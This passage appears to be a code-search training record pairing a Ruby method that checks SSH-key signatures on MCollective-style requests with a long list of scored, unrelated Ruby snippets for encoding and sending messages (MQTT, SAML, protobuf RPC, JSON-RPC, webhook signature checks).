"def encode_body\n body = ''\n if @topic.nil? || @topic.to_s.empty?\n raise 'Invalid topic name when serialising packet'\n end\n body += encode_string(@topic)\n body += encode_short(@id) unless qos.zero?\n body += payload.to_s.dup.force_encoding('ASCII-8BIT')\n body\n end",
"def send(msg)\n @connection.write(\n @serializer.en(msg))\n rescue Exception => e\n raise\n end",
"def encode( msg )\r\n msg = msg.gsub(/[^A-Za-z]/, '').upcase\r\n msg += \"X\"*(5 - (msg.length % 5)) unless msg.length % 5 == 0\r\n\r\n msgNumbers = to_numbers( msg )\r\n cipherNumbers = to_numbers( generate_keystream( msg.length ) )\r\n\r\n resultNumbers = []\r\n msgNumbers.each_with_index do |item, index|\r\n temp = item + cipherNumbers[index]\r\n temp = temp - 26 if temp > 26\r\n resultNumbers << temp\r\n end\r\n\r\n return to_chars( resultNumbers )\r\n end",
"def marshallMsg\n msgstr = String.new(@istr) \n @@cmdSeqNo = @@cmdSeqNo + 1\n seqstr = to_s_i(@@cmdSeqNo)\n msgstr[0] = seqstr[0]\n msgstr[1] = seqstr[1]\n msgstr[2] = seqstr[2]\n msgstr[3] = seqstr[3]\n t = Time.now\n timestr = to_s_i(t.to_i)\n msgstr = msgstr + timestr \n msgstr[8] = @pktFormat\n msgstr[9] = 0\n msgstr[10] = @cmd\n msgstr[11] = 0\n ipstr = to_s_i(@myIp)\n msgstr = msgstr + ipstr \n msgstr = msgstr + @version\n msgstr[18] = @nodeType\n msgstr[19] = 0\n msgstr = msgstr + @cmStatus.to_s\n msgstr = msgstr + @mac11.to_s \n msgstr = msgstr + @mac12.to_s\n msgstr = msgstr + @mac13.to_s \n msgstr = msgstr + @mac14.to_s\n\n return msgstr\n end",
"def _send_message data\n response << data\n end",
"def send_data(msg)\n send_request RequestMessage.new(data_message: Data1.new(type: \"com.google.tv.string\", data: msg))\n end",
"def encode\n Logger.debug \"encoding #{self.inspect}\"\n class_mapper = RocketAMF::ClassMapper.new\n ser = RocketAMF::Serializer.new class_mapper\n\n if amf3?\n ser.stream << \"\\x00\"\n end\n\n ser.serialize 0, command\n ser.serialize 0, transaction_id\n\n if amf3?\n ser.stream << \"\\x05\"\n ser.stream << \"\\x11\"\n ser.serialize 3, values.first\n else\n values.each do |value|\n ser.serialize 0, value\n end\n end\n\n ser.stream\n end",
"def send_request\n request_wrapper = Protobuf::Socketrpc::Request.new\n request_wrapper.service_name = @options[:service].name\n request_wrapper.method_name = @options[:method].to_s\n \n if @options[:request].class == @options[:request_type]\n request_wrapper.request_proto = @options[:request].serialize_to_string\n else\n expected = @options[:request_type].name\n actual = @options[:request].class.name\n fail :INVALID_REQUEST_PROTO, 'Expected request type to be type of %s, got %s instead' % [expected, actual]\n end\n \n log_debug '[client-cnxn] Sending Request: %s' % request_wrapper.inspect\n request_buffer = Protobuf::Rpc::Buffer.new(:write, request_wrapper)\n send_data(request_buffer.write)\n @stats.request_size = request_buffer.size\n end",
"def encode_message\n self.convert(@numeric_encoded_message, @encoded_message)\n end",
"def encoded\n ready_to_send!\n buffer = header.encoded\n buffer << \"\\r\\n\"\n buffer << body.encoded(content_transfer_encoding)\n buffer\n end",
"def send_message(msg, type)\n # Build the message and get it's size\n message = wrap_message(msg, type).serialize_to_string\n message_size = [message.length].pack('N')\n\n # Write the message to the SSL client and get the response\n @gtv.ssl_client.write(message_size + message)\n data = \"\"\n @gtv.ssl_client.readpartial(1000,data)\n @gtv.ssl_client.readpartial(1000,data)\n\n # Extract the response from the Google TV\n outer = OuterMessage.new\n outer.parse_from_string(data)\n\n return outer\n end",
"def _send_request(connection, req_bytes)\r\n\t\tconnection.print([req_bytes.size].pack('N') + req_bytes)\r\n\t\t@request_count += 1\r\n end",
"def request(mc, pb_msg=nil)\n clear\n\n @req_message_code = mc\n @response = RESPONSE_CLASS_FOR[mc].new unless RESPONSE_CLASS_FOR[mc].nil?\n\n with_socket do |socket|\n begin\n begin\n @req_message = assemble_request mc, pb_msg.serialize_to_string\n rescue NoMethodError\n @req_message = assemble_request mc\n end\n\n socket.write(@req_message)\n self.parse_response socket.sysread(@limit)\n\n end while(false == (@response[:done] rescue true))\n\n socket.flush\n end # with_socket\n\n return(@response)\n end",
"def encode(options={})\n sanitize_request\n send(\"to_#{self.class.format.extension}\", options)\n end",
"def encode_headers(msg)\n buffer = BytesBuffer.new('')\n msg.headers.each do |k, v|\n # header key\n buffer << pack_uint8(k.bytesize)\n buffer << k\n\n # header value\n pattern, val_len, idx = Types.pattern[v.type]\n buffer << pack_uint8(idx)\n # boolean types doesn't need to specify value\n next if !!pattern == pattern\n buffer << pack_uint16(v.value.bytesize) unless val_len\n pattern ? buffer << [v.value].pack(pattern) :\n buffer << v.value\n end\n if buffer.bytesize > MAX_HEADERS_LENGTH\n raise Aws::EventStream::Errors::EventHeadersLengthExceedError.new\n end\n buffer\n end",
"def send_act(conn, act)\r\n conn.respond(Yajl::Encoder.encode(act))\r\n end",
"def encode(message, io = nil)\n encoded = encode_message(message).read\n if io\n io.write(encoded)\n io.close\n else\n encoded\n end\n end",
"def encode_send(method_name, args)\n MessagePack.pack([method_name, args])\n end",
"def encode_body\n body = ''\n\n if @version == '3.1.0'\n raise 'Client identifier too short while serialising packet' if @client_id.nil? || @client_id.bytesize < 1\n raise 'Client identifier too long when serialising packet' if @client_id.bytesize > 23\n end\n\n body += encode_string(@protocol_name)\n body += encode_bytes(@protocol_level.to_i)\n\n if @keep_alive < 0\n raise 'Invalid keep-alive value: cannot be less than 0'\n end\n\n # Set the Connect flags\n @connect_flags = 0\n @connect_flags |= 0x02 if @clean_session\n @connect_flags |= 0x04 unless @will_topic.nil?\n @connect_flags |= ((@will_qos & 0x03) << 3)\n @connect_flags |= 0x20 if @will_retain\n @connect_flags |= 0x40 unless @password.nil?\n @connect_flags |= 0x80 unless @username.nil?\n body += encode_bytes(@connect_flags)\n\n body += encode_short(@keep_alive)\n body += encode_string(@client_id)\n unless will_topic.nil?\n body += encode_string(@will_topic)\n # The MQTT v3.1 specification says that the payload is a UTF-8 string\n body += encode_string(@will_payload)\n end\n body += encode_string(@username) unless @username.nil?\n body += encode_string(@password) unless @password.nil?\n body\n end",
"def request(params=Hash.new, &result_cbk)\n\n cmd = params.delete :cmd\n prefix = params.delete :prefix\n cont = params.delete :cont\n offset = params.delete :offset\n len = params.delete :len\n\n if cont.is_a? String\n cont=request_string(cont)\n elsif cont.is_a? Integer\n cont=request_int(cont)\n end\n raise ArgumentError, \":cont should be an Enumerable\" if !cont.nil? and !cont.is_a? Enumerable\n if len.nil?\n len=(cont.nil?) ? 0 : cont.length\n end\n\n offset||=0\n\n\n if (!cont.nil?)\n raise \":cont shouldn't contain anything but Fixnum\" if cont.any? {|v| !v.is_a? Fixnum}\n if (offset>=cont.length)\n cont=nil;len=0\n elsif (len>cont.length-offset)\n len=cont.length-offset\n end\n end\n offset=0 if offset<0\n len=0 if len<0\n contlen=(cont.nil?) ? 0 : len\n contlen+=prefix.length if (!prefix.nil? and prefix.length>0)\n\n hdr=Array.new(16)\n set_int(cmd,hdr,0)\n set_int(contlen,hdr,4);\n 8.upto(15) {|i| hdr[i]=0}\n if (cmd!=-1)\n io.write(hdr.pack(\"C*\"))\n if (!prefix.nil? && prefix.length>0)\n io.write(prefix.pack(\"C*\"))\n debug \"SEND PREFIX #{prefix}\"\n end\n if (!cont.nil? and cont.length>0)\n debug \"SEND CONTENT #{cont.slice(offset, len)} (#{offset},#{len})\"\n io.write(cont.slice(offset, len).pack(\"C*\"))\n end\n end\n\n io.on_recv(16) do |chunk|\n #\"Expecting 16 bytes...\" if $DEBUG\n ih = chunk.unpack(\"C*\")\n if (ih.length != 16)\n debug \"Received #{ih.length} of expected 16.\"\n result_cbk.call(nil)\n return\n end\n debug \"Answer: #{ih.to_s}\"\n\n rep=get_int(ih, 0);\n rl =get_int(ih,4);\n\n debug \"rep: #{rep} #{rep.class} #{rep & 0x00FFFFFF}\"\n debug \"rl: #{rl} #{rl.class}\"\n\n if (rl>0)\n ct=Array.new();\n io.on_recv(rl) do |chunk|\n ct = chunk.unpack(\"C*\")\n debug \"ct: #{ct.size}\"\n result_cbk.call(Rserve::Packet.new(rep, ct))\n end\n else\n result_cbk.call(Rserve::Packet.new(rep, nil))\n end\n end\n end",
"def _send_request request_payload\n _write request_payload, stream\n end",
"def message_get( type, url, message, extra_parameters = {} )\n\t\t\tparams = Hash.new\n\t\t\tif extra_parameters\n\t\t\t\tparams.merge!(extra_parameters)\n\t\t\tend\n\t\t\t# compress GET requests to try and stay under that 8KB request limit\n\t\t\tparams[type] = encode( deflate( message ) )\n\t\t\t\n\t\t\tLogging.debug \"#{type}=#{params[type]}\"\n\t\t\t\n\t\t\turi = Addressable::URI.parse(url)\n\t\t\tif uri.query_values == nil\n\t\t\t\turi.query_values = params\n\t\t\telse\n\t\t\t\t# solution to stevenwilkin's parameter merge\n\t\t\t\turi.query_values = params.merge(uri.query_values)\n\t\t\tend\n\t\t\turl = uri.to_s\n\t\t\t#url = @URL + \"?SAMLRequest=\" + @request_params[\"SAMLRequest\"]\n\t\t\tLogging.debug \"Sending to URL #{url}\"\n\t\t\treturn url\n\t\tend",
"def send_request(data)\n \n if $DEBUG\n puts \"[request]data--------------\"\n puts data\n puts \"--------------------------\" \n end\n \n outgoing = Blix.to_binary_data(data)\n options = {}\n \n options[:key] = \"\"\n options[:reply_to] = @reply_to\n options[:content_type] = \"text/xml\"\n options[:message_id] = \"#{@time.to_i}#{rand(9999)}\"\n @out_exch.publish(outgoing, options )\n \n incoming = nil\n while (!incoming)\n msg = @in_queue.pop\n payload = msg[:payload]\n incoming = payload unless payload == :queue_empty\n end\n # \n if $DEBUG\n puts \"[request]response data-----\"\n puts incoming\n puts \"--------------------------\" \n end\n incoming\n end",
"def started_request_message(request); end",
"def encode\n\n # Set defaults if necessary\n HEADER_DEFAULTS.each do |k, v|\n send(\"#{k}=\", v) if instance_variable_get(\"@#{k}\").nil?\n end\n\n h_type = HEADER_LENGTHS.invert[header_length]\n\n buffer = Buffer.new\n buffer.write_bitfield [h_type, 2], [channel_id, 6]\n\n if header_length >= 4\n buffer.write_uint24_be timestamp\n end\n\n if header_length >= 8\n buffer.write_uint24_be body_length\n buffer.write_uint8 message_type_id\n end\n\n if header_length == 12\n buffer.write_uint32_le message_stream_id\n end\n\n buffer.string\n end",
"def encode(io)\n io.write RTunnel::Command.registry.code_for(self.class)\n end",
"def request(payload)\n payload = payload + \"\\0\" * ((16 - payload.length) % 16)\n req = [ @extra ].pack('S>')\n blocks = payload.length / 16\n req << blocks.chr\n req << @flags.chr\n req << @key\n req << @iv\n req << payload\n @udp.connect(@host, 1331)\n start_time = Time.now\n @udp.send(req, 0)\n resp = @udp.recvfrom(req.length).first\n end_time = Time.now\n reserved = resp.unpack('L>').first\n [ resp[4..-1], end_time - start_time ]\n end",
"def encode_string; end",
"def message_post( type, url, message, extra_parameters = {} )\n\t\t\tparams = Hash.new\n\t\t\tif extra_parameters\n\t\t\t\tparams.merge!(extra_parameters)\n\t\t\tend\n\t\t\t\n\t\t\t# POST requests seem to bomb out when they're deflated\n\t\t\t# and they probably don't need to be compressed anyway\n\t\t\tparams[type] = encode(message)\n\t\t\t\n\t\t\t#Logging.debug \"SAMLRequest=#{@request_params[\"SAMLRequest\"]}\"\n\t\t\t# kind of a cheesy method of building an HTML, form since we can't rely on Rails too much,\n\t\t\t# and REXML doesn't work well with quote characters\n\t\t\tstr = \"<html><body onLoad=\\\"document.getElementById('form').submit();\\\">\\n\"\n\t\t\tstr += \"<form id='form' name='form' method='POST' action=\\\"#{@URL}\\\">\\n\"\n\t\t\t# we could change this in the future to associate a temp auth session ID\n\t\t\tstr += \"<input name='RelayState' value='ruby-saml' type='hidden' />\\n\"\n\t\t\tparams.each_pair do |key, value|\n\t\t\t\tstr += \"<input name=\\\"#{key}\\\" value=\\\"#{value}\\\" type='hidden' />\\n\"\n\t\t\t\t#str += \"<input name=\\\"#{key}\\\" value=\\\"#{CGI.escape(value)}\\\" type='hidden' />\\n\"\n\t\t\tend\n\t\t\tstr += \"</form></body></html>\\n\"\n\t\t\t\n\t\t\tLogging.debug \"Created form:\\n#{str}\"\n\t\t\treturn str\n\t\tend",
"def notification(method, *args)\n data = Request.new(method, args, nil).data\n RPC.log \"CLIENT ENCODE NOTIFICATION #{data.inspect}\"\n data.to_json\n end",
"def build_message(type, body, flags=NLM_F_REQUEST, seq=next_seq, pid=@pid)\n body = body.to_str\n header = [\n body.bytesize + NLMSGHDR_SIZE,\n type, flags, seq, pid\n ].pack(NLMSGHDR_PACK)\n # assume the header is already aligned\n header + body\n end",
"def send_request(ref, msg_id, arg, b)\n @msg.send_request(stream, ref, msg_id, arg, b)\n end",
"def encodeWithCoder encoder\n encoder.encodeObject self.message, forKey: \"message\"\n encoder.encodeObject self.id, forKey: \"id\"\n end",
"def encode_body(buffer)\n buffer << property_id.to_msgpack\n end",
"def to_http_query\n\t\t\t\t\tparams = {\n\t\t\t\t\t\t'message' => @message,\n\t\t\t\t\t\t'msisdn' => @recipient,\n\t\t\t\t\t\t'msg_class' => @msg_class,\n\t\t\t\t\t\t'want_report' => @want_report,\n\t\t\t\t\t\t'routing_group' => @routing_group,\n\t\t\t\t\t\t'source_id' => @source_id,\n\t\t\t\t\t\t'test_always_succeed' => @test_always_succeed,\n\t\t\t\t\t\t'test_always_fail' => @test_always_fail,\n\t\t\t\t\t\t'allow_concat_text_sms' => @concat_text_sms,\n\t\t\t\t\t\t'concat_text_sms_max_parts' => @concat_max_parts\n\t\t\t\t\t}\n\t\t\t\t\tquery_string = params.collect { |x, y| \"#{x}=#{y}\" }.join('&')\n\t\t\t\t\tURI.encode(query_string)\n\t\t\t\tend",
"def send_request request\n request.create_identifier! if needs_request_identifier?\n _log_result [ :send_request, :request, request ] do\n request_payload = encoder.dup.encode(request)\n opaque = _send_request(request_payload)\n response = receive_response opaque\n _log { [ :send_request, :response, response ] }\n if response\n if exc = response.exception\n exc.invoke!\n else\n response.result\n end\n else\n response\n end\n end\n end",
"def encode_body(data)\n @serializer.encode(data)\n end",
"def encode_body(data)\n @serializer.encode(data)\n end",
"def encode\n type_byte + encode_data\n end",
"def encode_body\n encode_short(@id)\n end",
"def encode_body\n encode_short(@id)\n end",
"def encode_body\n encode_short(@id)\n end",
"def encode(bytes)\n [bytes.to_s].pack(\"m\").gsub(\"\\n\", '')\n end",
"def serialize(message)\n message.to_msgpack\n end",
"def encode_header(s); s; end",
"def encode!; end",
"def packed()\n body = @status.chr + \n @flags.chr + \n TacacsPlus.pack_int_net(@server_msg_len,2) + \n TacacsPlus.pack_int_net(@data_len,2) \n \n body << @server_msg if (@server_msg)\n body << @data if (@data) \n return(body)\n end",
"def send_message(params)\n uri = URI.parse(@uri)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n parameters = \"\"\n params.each do |k,v|\n if parameters.empty?\n parameters = \"#{k}=#{v}\"\n else\n parameters += \"&#{k}=#{v}\"\n end\n end\n sig = generate_signature(params)\n parameters += \"&signature=#{sig}\"\n puts parameters \n response = http.post(\"/api/2/apps/#{@key}/messages.json\", \"#{URI.escape(parameters)}\")\n puts response\n return response.body\n end",
"def send_request( request_name, data, want_reply=false )\n msg = @buffers.writer\n msg.write_byte CHANNEL_REQUEST\n msg.write_long @remote_id\n msg.write_string request_name\n msg.write_bool want_reply\n msg.write data.to_s\n @connection.send_message msg\n self\n end",
"def msg_add(c)\n\t@msg_buf << c\n end",
"def display(msg)\n puts \"=\" * 15 + \" REQUEST \" + \"=\" * 15 \n puts msg\n puts \"=\" * 15 + \" EOF REQUEST \" + \"=\" * 15\n end",
"def send_message(msg); end",
"def message_params\n params.require(:message).permit(:msg_code, :message, :upd_uid)\n end",
"def send_request method, params, &block\n message = {\n jsonrpc: \"2.0\",\n method: method,\n params: params,\n id: @next_request_id\n }\n json = message.to_json\n requests[@next_request_id] = Request.new(@next_request_id, &block)\n envelope = \"Content-Length: #{json.bytesize}\\r\\n\\r\\n#{json}\"\n queue envelope\n @next_request_id += 1\n end",
"def do_request(request, want_reply, data); end",
"def encode(string); end",
"def on_request( channel, request, want_reply, data )\n end",
"def status(msg)\n if msg.respond_to?(:force_encoding)\n msg.force_encoding(Encoding::UTF_8)\n end\n info msg.gsub(BOL, STATUS_PREFIX)\n end",
"def create_json_request(code)\n parameters = {\n \t\"code\" => code,\n\t\"level\" => self.level,\n\t\"format\" => \"json\",\n\t\"info\" => self.op\n }\n end",
"def buildRequest(payload)\n # ...\n end",
"def request_type; \"RequestType\"; end",
"def hsdq_send_request(message)\n hsdq_send(message.merge(type: :request))\n end",
"def write_request(request, client)\n puts request\n filename = request[6..request.length]\n request = client.gets.chomp\n puts request\n start_n = request[6..request.length].to_i\n contents = client.gets\n puts contents\n if File.exist?(filename)\n IO.binwrite(filename, contents, start_n)\n client.puts \"\\nOK:#{filename}\\nSTART:#{start_n}\\n\\n\"\n else client.puts @error1\n end\n end",
"def pack(code = nil, reason = nil)\n\t\t\t\tif code\n\t\t\t\t\tif reason and reason.encoding != Encoding::UTF_8\n\t\t\t\t\t\treason = reason.encode(Encoding::UTF_8)\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tsuper([code, reason].pack(FORMAT))\n\t\t\t\telse\n\t\t\t\t\tsuper()\n\t\t\t\tend\n\t\t\tend",
"def write(msg)\n\t\tinfo(msg)\n\tend",
"def info(msg, request=nil)\n super(with_extra_request_info(msg, request))\n end",
"def to_s\n \"IntentRequest: #{name} requestID: #{request_id} Slots: #{slots}\"\n end",
"def send(msg=\"\")\n\t\tif @connected\n\t\t\[email protected] \"\\1#{msg}\\r\\n\" # leading \\1 for terse reply\n\t\tend\n\tend",
"def message_get( type, url, message, extra_parameters = {} )\n params = Hash.new\n if extra_parameters\n params.merge!(extra_parameters)\n end\n # compress GET requests to try and stay under that 8KB request limit\n #deflate of samlrequest\n params[type] = encode( deflate( message ) )\n #Logging.debug \"#{type}=#{params[type]}\"\n \n uri = Addressable::URI.parse(url)\n if uri.query_values == nil\n uri.query_values = params\n else\n # solution to stevenwilkin's parameter merge\n uri.query_values = params.merge(uri.query_values)\n end\n url = uri.to_s\n #Logging.debug \"Sending to URL #{url}\"\n return url\n end",
"def message_get( type, url, message, extra_parameters = {} )\n params = Hash.new\n if extra_parameters\n params.merge!(extra_parameters)\n end\n # compress GET requests to try and stay under that 8KB request limit\n #deflate of samlrequest\n params[type] = encode( deflate( message ) )\n #Logging.debug \"#{type}=#{params[type]}\"\n \n uri = Addressable::URI.parse(url)\n if uri.query_values == nil\n uri.query_values = params\n else\n # solution to stevenwilkin's parameter merge\n uri.query_values = params.merge(uri.query_values)\n end\n url = uri.to_s\n #Logging.debug \"Sending to URL #{url}\"\n return url\n end",
"def encode_message(message)\n # create context buffer with encode headers\n ctx_buffer = encode_headers(message)\n headers_len = ctx_buffer.bytesize\n # encode payload\n if message.payload.length > MAX_PAYLOAD_LENGTH\n raise Aws::EventStream::Errors::EventPayloadLengthExceedError.new\n end\n ctx_buffer << message.payload.read\n total_len = ctx_buffer.bytesize + OVERHEAD_LENGTH\n\n # create message buffer with prelude section\n buffer = prelude(total_len, headers_len)\n\n # append message context (headers, payload)\n buffer << ctx_buffer.read\n # append message checksum\n buffer << pack_uint32(Zlib.crc32(buffer.read))\n\n # write buffered message to io\n buffer.rewind\n buffer\n end",
"def send_message(msg)\n # Build the message and get it's size\n message = msg.serialize_to_string\n message_size = [message.length].pack('N')\n\n # Try to send the message\n try_again = true\n begin\n data = \"\"\n @ssl_client.write(message_size + message)\n @ssl_client.readpartial(1000,data)\n rescue\n # Sometimes our connection might drop or something, so\n # we'll reconnect to the unit and try to send the message again.\n if try_again\n try_again = false\n connect_to_unit\n retry\n else\n # Looks like we couldn't connect to the unit after all.\n puts \"message not sent\"\n end\n end\n\n return data\n end",
"def reencode(body, content_type = T.unsafe(nil)); end"
] |
[
"0.655947",
"0.6424981",
"0.63148844",
"0.6269933",
"0.62282616",
"0.6210985",
"0.61449206",
"0.6130633",
"0.6104965",
"0.60915184",
"0.6008699",
"0.5921019",
"0.58890426",
"0.5834426",
"0.579513",
"0.57921994",
"0.57860625",
"0.5757325",
"0.57281667",
"0.5721147",
"0.57181937",
"0.5707766",
"0.5707766",
"0.57031024",
"0.56843936",
"0.566515",
"0.564401",
"0.56331706",
"0.56315595",
"0.5614295",
"0.5569697",
"0.55263865",
"0.55199075",
"0.55140746",
"0.54993415",
"0.5492313",
"0.54773724",
"0.5471898",
"0.5439691",
"0.5429908",
"0.54132473",
"0.5397541",
"0.53966767",
"0.53890765",
"0.5380961",
"0.53559655",
"0.5346476",
"0.5343397",
"0.53388643",
"0.5334549",
"0.5333426",
"0.5329222",
"0.5301296",
"0.53010136",
"0.5287634",
"0.52835697",
"0.5282391",
"0.52732867",
"0.52698964",
"0.52481955",
"0.52411085",
"0.5240555",
"0.5208683",
"0.52006936",
"0.52006936",
"0.51971817",
"0.5197124",
"0.5197124",
"0.5197124",
"0.5189473",
"0.5189129",
"0.51880294",
"0.5187337",
"0.51786894",
"0.51707774",
"0.5166448",
"0.51635385",
"0.51444376",
"0.51392823",
"0.51287466",
"0.5119348",
"0.5118091",
"0.51058733",
"0.51045793",
"0.51021",
"0.5098168",
"0.5095219",
"0.50818086",
"0.5081151",
"0.50758123",
"0.5070487",
"0.50698334",
"0.5066718",
"0.50629807",
"0.50592285",
"0.5053771",
"0.5053771",
"0.5053334",
"0.50452834",
"0.50433105"
] |
0.61697453
|
6
|
Checks the md5 hash in the request body against our psk, the request sent for validation should not have been deserialized already
|
def validrequest?(req)
Log.info "Caller id: #{req[:callerid]}"
Log.info "Sender id: #{req[:senderid]}"
message = req[:body]
#@log.info req.awesome_inspect
identity = (req[:callerid] or req[:senderid])
verifier = SSH::Key::Verifier.new(identity)
Log.info "Using name '#{identity}'"
# If no callerid, this is a 'response' message and we should
# attempt to authenticate using the senderid (hostname, usually)
# and that ssh key in known_hosts.
if !req[:callerid]
# Search known_hosts for the senderid hostname
verifier.add_key_from_host(identity)
verifier.use_agent = false
verifier.use_authorized_keys = false
end
signatures = Marshal.load(req[:hash])
if verifier.verify?(signatures, req[:body])
@stats.validated
return true
else
@stats.unvalidated
raise(SecurityValidationFailed, "Received an invalid signature in message")
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate\n return false unless @digest_parts.any? # RUBY\n\n a2 = @request.method + ':' + @digest_parts['uri']\n\n if @digest_parts['qop'] == 'auth-int'\n # Making sure we support this qop value\n return false unless @qop & QOP_AUTHINT\n\n # We need to add an md5 of the entire request body to the A2 part of the hash\n body = @request.body_as_string\n @request.body = body\n\n a2 << ':' + ::Digest::MD5.hexdigest(body)\n else\n # We need to make sure we support this qop value\n return false unless @qop & QOP_AUTH\n end\n\n a2 = ::Digest::MD5.hexdigest(a2)\n valid_response = ::Digest::MD5.hexdigest(\"#{@a1}:#{@digest_parts['nonce']}:#{@digest_parts['nc']}:#{@digest_parts['cnonce']}:#{@digest_parts['qop']}:#{a2}\")\n\n @digest_parts['response'] == valid_response\n end",
"def validrequest?(req)\n digest = makehash(req[:body])\n \n if digest == req[:hash]\n @stats[:validated] += 1\n \n return true\n else\n @stats[:unvalidated] += 1\n \n raise(\"Received an invalid signature in message\")\n end\n end",
"def validrequest?(req)\n ssl = SSL.new(\"/home/rip/.mcollective.d/rip.pem\")\n\n ssl.verify_signature(req[:hash], SSL.md5(req[:body]), true)\n\n req[:callerid] = \"webuser=%s\" % ssl.rsa_decrypt_with_public(ssl.base64_decode(req[:callerid]))\n req[:body] = deserialize(req[:body])\n\n @stats.validated\n\n true\n rescue\n @stats.unvalidated\n raise(SecurityValidationFailed, \"Received an invalid signature in message\")\n end",
"def quick_verify\n cached_md5 == remote_md5 and remote_md5 == md5\n end",
"def valid_integrity?(body, headers)\n request_signature = headers['X-Hub-Signature']\n signature_parts = request_signature.split('sha1=')\n request_signature = signature_parts[1]\n calculated_signature = OpenSSL::HMAC.hexdigest('sha1', @secret, body)\n calculated_signature == request_signature\n end",
"def check_signature(body)\n received_signature = request.env['HTTP_X_HUB_SIGNATURE'] || ''\n signature = 'sha1=' + hmac_sha1(settings.github_secret, body)\n\n if !Rack::Utils.secure_compare(signature, received_signature)\n build_failed('signature mismatch')\n end\nend",
"def md5\n return self.body_data.md5\n end",
"def validrequest?(req)\n message = req[:body]\n signature = req[:hash]\n\n Log.debug(\"Validating request from #{req[:callerid]}\")\n\n if verify(public_key_file(req[:callerid]), signature, message.to_s)\n @stats.validated\n return true\n else\n @stats.unvalidated\n raise(SecurityValidationFailed, \"Received an invalid signature in message\")\n end\n end",
"def valid_signature?\n params['verifier'] == Digest::MD5.hexdigest([ params['id'], params['snuid'], params['currency'], Offerpal.secret_key ].join(':'))\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), SECRET_TOKEN, payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\n end",
"def check_signature!\n request.body.rewind\n payload_raw = request.body.read # We need the raw text of the body to check the webhook signature\n begin\n @payload = JSON.parse payload_raw\n rescue\n @payload = {}\n end\n\n # Check X-Hub-Signature to confirm that this webhook was generated by GitHub, and not a malicious third party.\n # The way this works is: We have registered with GitHub a secret, and we have stored it locally in WEBHOOK_SECRET.\n # GitHub will cryptographically sign the request payload with this secret. We will do the same, and if the results\n # match, then we know that the request is from GitHub (or, at least, from someone who knows the secret!)\n # If they don't match, this request is an attack, and we should reject it.\n # The signature comes in with header x-hub-signature, and looks like \"sha1=123456\"\n # We should take the left hand side as the signature method, and the right hand side as the\n # HMAC digest (the signature) itself.\n their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1='\n method, their_digest = their_signature_header.split('=')\n our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, payload_raw)\n halt 401 unless their_digest == our_digest\n @payload\n end",
"def check\n req = GData::HTTP::Request.new(@base_uri + '/' + @model)\n sign_and_request(req)\n end",
"def md5_of_body\n data[:md5_of_body]\n end",
"def is_checksum_valid?(received_params)\n paytmparams = Hash.new\n\n keys = received_params.keys\n keys.each do |k|\n paytmparams[k] = received_params[k]\n end\n\n checksum_hash = paytmparams[\"CHECKSUMHASH\"]\n paytmparams.delete(\"CHECKSUMHASH\")\n\n Rails.logger.debug \"HERE\"\n Rails.logger.debug \"paytmparams #{paytmparams}\"\n Rails.logger.debug \"checksum_hash #{checksum_hash}\"\n Rails.logger.debug \"PAYTM_MERCHANT_KEY #{ENV[\"PAYTM_MERCHANT_KEY\"]}\" \n \n return new_pg_verify_checksum(paytmparams, checksum_hash, ENV[\"PAYTM_MERCHANT_KEY\"])\n end",
"def receive_verify_post(params, request)\n if request.post?\n [:action, :email, :send_id, :sig].each { |key| return false unless params.has_key?(key) }\n\n return false unless params[:action] == :verify\n\n sig = params[:sig]\n params.delete(:sig)\n return false unless sig == TriggermailClient.get_signature_hash(params, @secret)\n\n _send = self.get_send(params[:send_id])\n return false unless _send.has_key?(:email)\n\n return false unless _send[:email] == params[:email]\n\n return true\n else\n return false\n end\n end",
"def validate_update(body, headers)\n unless @secret\n raise AppSecretNotDefinedError, \"You must init RealtimeUpdates with your app secret in order to validate updates\"\n end\n\n request_signature = headers['X-Hub-Signature'] || headers['HTTP_X_HUB_SIGNATURE']\n return unless request_signature\n\n signature_parts = request_signature.split(\"sha1=\")\n request_signature = signature_parts[1]\n calculated_signature = OpenSSL::HMAC.hexdigest('sha1', @secret, body)\n calculated_signature == request_signature\n end",
"def validate_digest_response(request, realm, &password_procedure); end",
"def verify_content(body, signature)\n hmac = HMAC::SHA1.hexdigest(@secret, body)\n check = \"sha1=\" + hmac\n check == signature\n end",
"def validateMD5Hash(data, hash)\n\t\tnewhash = self.createMD5Hash(data)\n\t\tif newhash == hash\n\t\t\treturn true\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def verify_signature(payload_body)\n signature = 'sha1=' + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha1'), ENV['WEBHOOK_SECRET_TOKEN'], payload_body)\n return halt 500, \"Signatures didn't match!\" unless Rack::Utils.secure_compare(signature, request.env['HTTP_X_HUB_SIGNATURE'])\nend",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def is_validate_signature\n signature = request.headers[\"X-LINE-Signature\"]\n http_request_body = request.raw_post\n hash = OpenSSL::HMAC::digest(OpenSSL::Digest::SHA256.new, CHANNEL_SECRET, http_request_body)\n signature_answer = Base64.strict_encode64(hash)\n signature == signature_answer\n end",
"def valid_post_body?(post_body, signature)\n hash = OpenSSL::HMAC.digest(OpenSSL::Digest.new('SHA256'), @channel.line_channel_secret, post_body)\n Base64.strict_encode64(hash) == signature\n end",
"def verified_request?; end",
